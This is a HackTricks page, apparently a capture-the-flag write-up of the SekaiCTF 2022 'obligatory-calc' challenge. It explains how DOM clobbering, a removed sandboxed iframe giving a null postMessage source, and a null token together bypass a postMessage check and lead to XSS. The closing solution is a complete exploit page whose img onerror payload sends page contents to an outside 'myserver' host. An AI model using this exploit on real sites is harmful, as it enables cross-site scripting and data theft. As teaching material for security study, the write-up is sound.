hacktricks/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md

# Bypassing SOP with Iframes - 2

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## Iframes in SOP-2

In the [**solution**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc/solution) for this [**challenge**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc)**,** [**@Strellic\_**](https://twitter.com/Strellic\_) proposes a similar method to the previous section. Let's check it.

In this challenge the attacker needs to **bypass** this:

```javascript
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
```

If he does, he can send a **postmessage** with HTML content that is going to be written in the page with **`innerHTML`** without sanitation (**XSS**).

The way to bypass the **first check** is by making **`window.calc.contentWindow`** to **`undefined`** and **`e.source`** to **`null`**:

* **`window.calc.contentWindow`** is actually **`document.getElementById("calc")`**. You can clobber **`document.getElementById`** with **`<img name=getElementById />`** (note that Sanitizer API -[here](https://wicg.github.io/sanitizer-api/#dom-clobbering)- is not configured to protect against DOM clobbering attacks in its default state).
  * Therefore, you can clobber **`document.getElementById("calc")`** with **`<img name=getElementById /><div id=calc></div>`**. Then, **`window.calc`** will be **`undefined`**.
  * Now, we need **`e.source`** to be **`undefined`** or **`null`** (because `==` is used instead of `===`, **`null == undefined`** is **`True`**). Getting this is "easy". If you create an **iframe** and **send** a **postMessage** from it and immediately **remove** the iframe, **`e.origin`** is going to be **`null`**. Check the following code

```javascript
let iframe = document.createElement('iframe');
document.body.appendChild(iframe);
window.target = window.open("http://localhost:8080/");
await new Promise(r => setTimeout(r, 2000)); // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`);
document.body.removeChild(iframe); //e.origin === null
```

In order to bypass the **second check** about token is by sending **`token`** with value `null` and making **`window.token`** value **`undefined`**:

* Sending `token` in the postMessage with value `null` is trivial.
* **`window.token`** in calling the function **`getCookie`** which uses **`document.cookie`**. Note that any access to **`document.cookie`** in **`null`** origin pages tigger an **error**. This will make **`window.token`** have **`undefined`** value.

The final solution by [**@terjanq**](https://twitter.com/terjanq) is the [**following**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html):

```html
<html>
    <body>
        <script>
            // Abuse "expr" param to cause a HTML injection and
            // clobber document.getElementById and make window.calc.contentWindow undefined
            open('https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"');
            
            function start(){
                var ifr = document.createElement('iframe');
                // Create a sandboxed iframe, as sandboxed iframes will have origin null
                // this null origin will document.cookie trigger an error and window.token will be undefined
                ifr.sandbox = 'allow-scripts allow-popups';
                ifr.srcdoc = `<script>(${hack})()<\/script>`
                
                document.body.appendChild(ifr);
                
                function hack(){
                    var win = open('https://obligatory-calc.ctf.sekai.team');
                    setTimeout(()=>{
                        parent.postMessage('remove', '*');
                        // this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
                        // token=null equals to undefined and e.source will be null so null == undefined
                        win.postMessage({token:null, result:"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>"}, '*');
                    },1000);
                }
                
                // this removes the iframe so e.source becomes null in postMessage event.
                onmessage = e=> {if(e.data == 'remove') document.body.innerHTML = ''; }
            }
            setTimeout(start, 1000);
        </script>
    </body>
</html>
```

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</details>